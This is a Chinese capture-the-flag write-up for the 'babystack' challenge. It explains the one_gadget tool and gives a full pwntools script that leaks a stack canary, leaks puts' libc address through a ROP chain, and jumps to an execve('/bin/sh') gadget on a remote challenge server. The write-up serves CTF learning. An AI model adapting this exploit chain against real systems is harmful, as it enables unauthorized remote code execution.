这道题目看很多题解是使用 one_gadget 做的,还有的是使用 LibcSearcher 模块做的。我刚开始看见题目给了 libc库,但是我总是打不通。
这道题如果使用 LibcSearcher 来做就是常规的先泄露canary值后按照ret2libc来打就可以了。
来先看一下,程序的主要部分。程序是要我们输入数字然后,执行打印,写入,退出这三个功能。
我们可以看到 read函数是有栈溢出漏洞的。还有puts函数。思路很明显。先通过puts函数泄露canary,然后利用栈溢出。
先来了解一下one_gadget。
one-gadget 是glibc里调用
execve('/bin/sh', NULL, NULL)
的一段非常有用的gadget。在我们能够控制ip(也就是pc)的时候,用one-gadget来做RCE(远程代码执行)非常方便,比如有时候我们能够做一个任意函数执行,但是做不到控制第一个参数,这样就没办法调用system("sh")
,这个时候one gadget就可以搞定了。我之前每次都是用IDA去手动找的,哪怕我原来还找过,所以我就决定写个好用的工具来避免再手动去找。最后做出来的工具是one_gadget,工具不仅可以找到one gadget还可以把需要满足的条件也给出来。
功能:查找已知的libc中exevce("/bin/sh")语句的地址
用法: one_gadget libc-x.xx.so
from pwn import * context.arch = "amd64" context.log_level = "debug" elf = ELF("./babystack") p = remote('111.200.241.244',64276) #p = process("./babystack") libc = ELF("./libc-2.23.so") execve = 0x45216 main_addr = 0x400908 puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] pop_rdi = 0x0400a93 payload = 'a'*0x88 p.sendlineafter(">> ","1") p.sendline(payload) p.sendlineafter(">> ","2") p.recvuntil('a'*0x88+'\n') canary = u64(p.recv(7).rjust(8,'\x00')) payload1 = 'a'*0x88+p64(canary)+'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter(">> ","1") p.send(payload1) p.sendlineafter(">> ","3") puts_addr=u64(p.recv(8).ljust(8,'\x00')) execve_addr = puts_addr - (libc.symbols['puts'] - execve) payload2 = 'a'*0x88+p64(canary)+'a'*8 + p64(execve_addr) p.sendlineafter(">> ","1") p.sendline(payload2) p.sendlineafter(">> ","3") p.interactive()